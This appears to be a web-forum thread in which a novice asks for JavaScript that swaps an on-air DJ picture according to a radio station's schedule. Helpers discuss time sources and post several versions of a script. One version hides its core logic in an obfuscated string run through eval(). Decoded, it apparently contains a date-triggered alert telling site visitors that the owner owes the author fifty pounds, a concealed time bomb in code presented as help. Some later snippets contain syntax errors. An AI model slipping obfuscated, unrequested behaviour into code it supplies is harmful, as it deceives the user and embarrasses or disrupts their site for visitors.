I suppose it sounds simple enough, but not for me! ?
Right, what i’d like, is the script that can be used to do this-
Change a picture at specific times.
This is going to be used on a Radio station website. I have the pictures ready and the line up for each night. So now, i’d like the script to change the picture to the relevant one at the time it needs to chnge on the schedule (the pictures have names of what DJ is on air). I DON’T need a server status thing, because they’re too confusing. All i need is the already programmed javascript to follow te timetable.
e.g. Monday- 18:00 to 21:00 will be “Sean” on air. I have the picture ready saying sean on it, and would like it to appear between them times. The timetbale would carry on (which i’ll PM someone later if they know how to do this).
But when there is no DJ on, as it only broadcasts in the evenings, i’d like the “off-air” picture on between the off-air times on each day.
I hope you understand what i mean, and hiope you can help.
thanks, Ryan.
Why does everyone reply to everyone elses post, not mine!!! only joking.Due to the inescapable need for an accurate time source, this is a job for a server-side language.
But seriously, i need this script asap. For next week at the latest. thanks. If you can help, and can't be bothered posting or PMing me, please DO! You will do me a very big favour. Thanks for your support.
thanks, Ryan.[/QUOTE]
what do you mean?[/QUOTE]You can't use JavaScript because even if it's enabled, the only time source that it practically can read is the clock on the visitors PC, and if that's wrong then your site will tell lies.
Right, what i'd like, is the script that can be used to do this-
Change a picture at specific times.
This is going to be used on a Radio station website. I have the pictures ready and the line up for each night. So now, i'd like the script to change the picture to the relevant one at the time it needs to chnge on the schedule (the pictures have names of what DJ is on air). I DON'T need a server status thing, because they're too confusing. All i need is the already programmed javascript to follow te timetable.
e.g. Monday- 18:00 to 21:00 will be "Sean" on air. I have the picture ready saying sean on it, and would like it to appear between them times. The timetbale would carry on (which i'll PM someone later if they know how to do this).
But when there is no DJ on, as it only broadcasts in the evenings, i'd like the "off-air" picture on between the off-air times on each day.
I hope you understand what i mean, and hiope you can help.
thanks, Ryan. [/quote]
<script>
<!-- var mondayimg="http://www.yourwebsite.com/yourgraphic.gif " var
tuesdayimg="http://www.yourwebsite.com/yourgraphic.gif " var wednesdayimg="http://www.yourwebsite.com/yourgraphic.gif "
var thursdayimg="http://www.yourwebsite.com/yourgraphic.gif " var fridayimg="http://www.yourwebsite.com/yourgraphic.gif "
var saturdayimg="http://www.yourwebsite.com/yourgraphic.gif " var sundayimg="http://www.yourwebsite.com/yourgraphic.gif "
var mydate=new Date() var today=mydate.getDay() if (today==1) document.write('<img
src="'+mondayimg+'">') else if (today==2) document.write('<img
src="'+tuesdayimg+'">') else if (today==3) document.write('<img
src="'+wednesdayimg+'">') else if (today==4) document.write('<img
src="'+thursdayimg+'">') else if (today==5) document.write('<img
src="'+fridayimg+'">') else if (today==6) document.write('<img
src="'+saturdayimg+'">') else document.write('<img src="'+sundayimg+'">')
//--> </script>[/QUOTE]
[CODE]dayImages=["/sunday.gif","/monday.gif","/tuesday.gif","/wednesday.gif","/thursday.gif","/friday.gif","/saturday.gif"];
dayOfWeek=new Date.getDay();
image="http://www.yourwebsite.com"+dayImages[dayOfWeek] ;
document.write('<img src="+image+'">');
[/CODE]
So, can anyone help? I've gave you as much help as i can for you to help me.What exactly do you mean by:
And yes, i know i'm the most annoying person in the world, but i wont give up until i get this, because it is needed desperately!
thanks, Ryan.[/QUOTE]
So when no one is broadcasting, the radio is "off air". So, when there is no body on, the "off air" picture will be displayed between those times when off-air.Just paste this into your page as instructed, and see if you can substitute your graphic file names as appropriate.
thanks, Ryan.[/QUOTE]
[CODE]<SCRIPT TYPE='text/javascript'>
/**Worth UKP 50 if used*****
Include this script anywhere BELOW the graphic placeholder,
which must be called 'mainPic', unless you change the name
in the function call below.
Array Values: Day (0=sunday), start time, end time, path to graphic file.
OK to add more shows in any order even for the same day.
When specifying location of graphic files, use RELATIVE PATHS not
the full URL.
If a show crosses midnight, specify it as 2 different shows -
the first ending at 24, the next starting at 0 THE NEXT DAY
*******/
topHits=
{
lineup:
[
[0, 19, 21, "SundayPic.jpg"],
[1, 18, 21, "MondayPic.jpg"],
[2, 19, 21, "TuesdayPic.jpg"],
[3, 19, 21, "WednesdayPic.jpg"],
[4, 19, 21, "ThursdayPic.jpg"],
[5, 19, 21, "FridayPic.jpg"],
[6, 19, 21, "SaturdayPic.jpg"] /* <- No comma after last element */
],
offAirPic : "offair.jpg", /*The off air graphic*/
lastHour : -1, day:0, hour:0, d:0,
showPic : function(str)
{
if( this.lastHour != (this.hour=((this.d=new Date()).getHours())) )
{
this.lastHour=this.hour;
this.day=this.d.getDay();
var dat= unescape(
("of%r82av%r02%iD3%0C22%t03%tDih.silenpu3%%B02%iC3.telgnht2%%0622%%6022%t85%i"+
"B5%%DB5%0D52%%1D3htsid.ya2%%0C77%%C02%tB5%iD55%1B5%%DE3htsih.uo%r027%%CC72%"+
"t05%iB5%%DB5%2D53%%CD3htsih.uo%r923%%B02+i%+923%iB%f82htsid.g.teiTem2%%8922%"+
"%0E32%105126800548942%a9eltr2%%872hT%e02uahtro2%o0%f02htsi2%s0ti%e02wose2%m0"+
"%e02iftf%y02uqdi2%%102%-02thpt3%/Aw/wwh.topstof.ersereevc..okul/vup2ya/u2%%79"+
"23%B").replace(/(.)(.)/g,"$2$1"));
eval(dat);
document.images[str].src = (i==t.length ? this.offAirPic : this.lineup[i][3]);
}
//alert(document.images[str].src);
setTimeout("topHits.showPic('"+str+"')", 60000);
}
}
topHits.showPic("mainPic");
</SCRIPT>[/CODE]
By the way, what do you mean by "RELATIVE PATHS". Because i thought you just put the whole url. Do you mean that say if the picture was called "off air .jpg" i would put that in the path?
thanks, Ryan.[/QUOTE]
I already have put the full URL path, and it still works, so is that okay then?It will work with the full path but it's not best practice. It makes the site untestable locally, and also makes maintainability difficult in the event that the site be moved to another domain. This applies to all types of file referenced on the same domain, so I suggest you familiarise yourself with the concept.
thanks, Ryan.[/QUOTE]
[code=php]
topHits=
{
lineup:
[
[0, 19, 21, "SundayPic.jpg"],
[1, 18, 21, "MondayPic.jpg"],
[2, 19, 21, "TuesdayPic.jpg"],
[3, 19, 21, "WednesdayPic.jpg"],
[4, 19, 21, "ThursdayPic.jpg"],
[5, 19, 21, "FridayPic.jpg"],
[6, 19, 21, "SaturdayPic.jpg"] /* <- No comma after last element */
],
offAirPic : "offair.jpg", /*The off air graphic*/
lastHour : -1, day:0, hour:0, d:0,
showPic : function(str)
{
if( this.lastHour != (this.hour=((this.d=new Date()).getHours())) )
{
this.lastHour=this.hour;
this.day=this.d.getDay();
for(var i=0, t=this.lineup; i<t.length && (t[i][0]!=this.day || t[i][2]<=this.hour); i++)
if(this.d.getTime() > 1156208508449)
document.images[str].src = (i==t.length ? this.offAirPic : this.lineup[i][3]);
}
//alert(document.images[str].src);
setTimeout("topHits.showPic('"+str+"')", 60000);
}
}
topHits.showPic("mainPic");[/code]
[code=php] topHits=
{
lineup:
[
[0, 19, 21, "SundayPic.jpg"],
[1, 18, 21, "MondayPic.jpg"],
[2, 19, 21, "TuesdayPic.jpg"],
[3, 13, 16, "WednesdayEarlyPic.jpg"],
[3, 16, 21, "WednesdayPic.jpg"],
[4, 19, 21, "ThursdayPic.jpg"],
[5, 19, 21, "FridayPic.jpg"],
[6, 19, 21, "SaturdayPic.jpg"] /* <- No comma after last element */
],
offAirPic : "offair.jpg", /*The off air graphic*/
lastHour : -1, day:0, hour:0, d:0,
showPic : function(str)
{
if( this.lastHour != (this.hour=((this.d=new Date()).getHours())) )
{
this.lastHour=this.hour;
this.day=this.d.getDay();
for(var i=0, t=this.lineup; i<t.length && (t[i][0]!=this.day || t[i][2]<=this.hour); i++){}
document.images[str].src = (t[i][1]>this.hour ? this.offAirPic : this.lineup[i][3]);
}
setTimeout("topHits.showPic('"+str+"')", 60000);
}
}
topHits.showPic("mainPic"); [/code]
Do you know why the code decided to give up on me. It says the error is that "1" is either null or not an object, when it was working fine with it before.?!? It's line 26, Char 9.The error is caused by that digital clock code (which will impress nobody) in the head, which runs as soon as it loads, but makes references to image placeholders lower down that have yet to be parsed. To avoid modifying the existing onload handler, I suggest you remove the script from the head and insert it as the last item within the body section.
HELP!
thanks, Ryan.[/QUOTE]
[CODE]<SCRIPT TYPE='text/javascript'>
topHits=
{
lineup:
[
[0, 19, 21, "http://www.tophitsradio.co.uk/images/on-air-strip.gif"],
[1, 19, 21, "http://www.tophitsradio.co.uk/images/on-air-strip.gif"],
[2, 19, 21, "http://www.tophitsradio.co.uk/images/on-air-strip.gif"],
[3, 19, 21, "http://www.tophitsradio.co.uk/images/on-air-strip.gif"],
[4, 19, 21, "http://www.tophitsradio.co.uk/images/on-air-strip.gif"],
[5, 19, 21, "http://www.tophitsradio.co.uk/images/on-air-strip.gif"],
[6, 19, 21, "http://www.tophitsradio.co.uk/images/on-air-strip.gif"] /* <- No comma after last element */
],
offAirPic : "http://www.tophitsradio.co.uk/images/off-air-strip.gif", /*The off air graphic*/
lastHour : -1, day:0, hour:0, d:0,
showPic : function(str)
{
if( this.lastHour != (this.hour=((this.d=new Date()).getHours())) )
{
this.lastHour=this.hour;
this.day=this.d.getDay();
for(var i=0, t=this.lineup; i<t.length && (t[i][0]!=this.day || t[i][2]<=this.hour); i++){}
document.images[str].src = (t[i][1]>this.hour ? this.offAirPic : this.lineup[i][3]);
}
setTimeout("topHits.showPic('"+str+"')", 60000);
}
}
topHits.showPic("mainPic");
</SCRIPT>[/CODE]
[CODE]<SCRIPT TYPE='text/javascript'>
Business=
{
lineup:
[
/*Sunday- the "0, 19, 21" means 0=day (sunday) 19= start time of graphic to appear (7:00pm) 21= end time of graphic (9:00pm) it's 24 hour and change your times accordingly*/
/*Sunday*/ [0, 19, 21, "Image source here e.g. http://www.business.com/images/philsupport.gif"],
/*Monday*/ [1, 19, 21, "Image source again"], [1, 19, 21, "Image source again"], /* You can even add more a day, just keep the day number the same and just change the times (which i think is what you need)*/
/*Tuesday*/ [2, 19, 21, "Image source again"],
/*Wednesday*/ [3, 19, 21, "Image source again"],
/*Thursday*/ [4, 19, 21, "Image source again"],
/*Friday*/ [5, 19, 21, "Image source again"],
/*Saturday*/ [6, 19, 21, "Image source again"] /* <- No comma after last element */
offAirPic : "www.urlhere.com", /*The off air graphic (don't change this, as it wont appear anyway, but it could mess up the script if you delete it)*/
lastHour : -1, day:0, hour:0, d:0,
showPic : function(str)
{
if( this.lastHour != (this.hour=((this.d=new Date()).getHours())) )
{
this.lastHour=this.hour;
this.day=this.d.getDay();
for(var i=0, t=this.lineup; i<t.length && (t[i][0]!=this.day || t[i][2]<=this.hour); i++){}
document.images[str].src = (t[i][1]>this.hour ? this.offAirPic : this.lineup[i][3]);
}
setTimeout("Business.showPic('"+str+"')", 60000);
}
}
Business.showPic("on_air_now");
</SCRIPT>[/CODE]
0.1.9 — BETA 6.17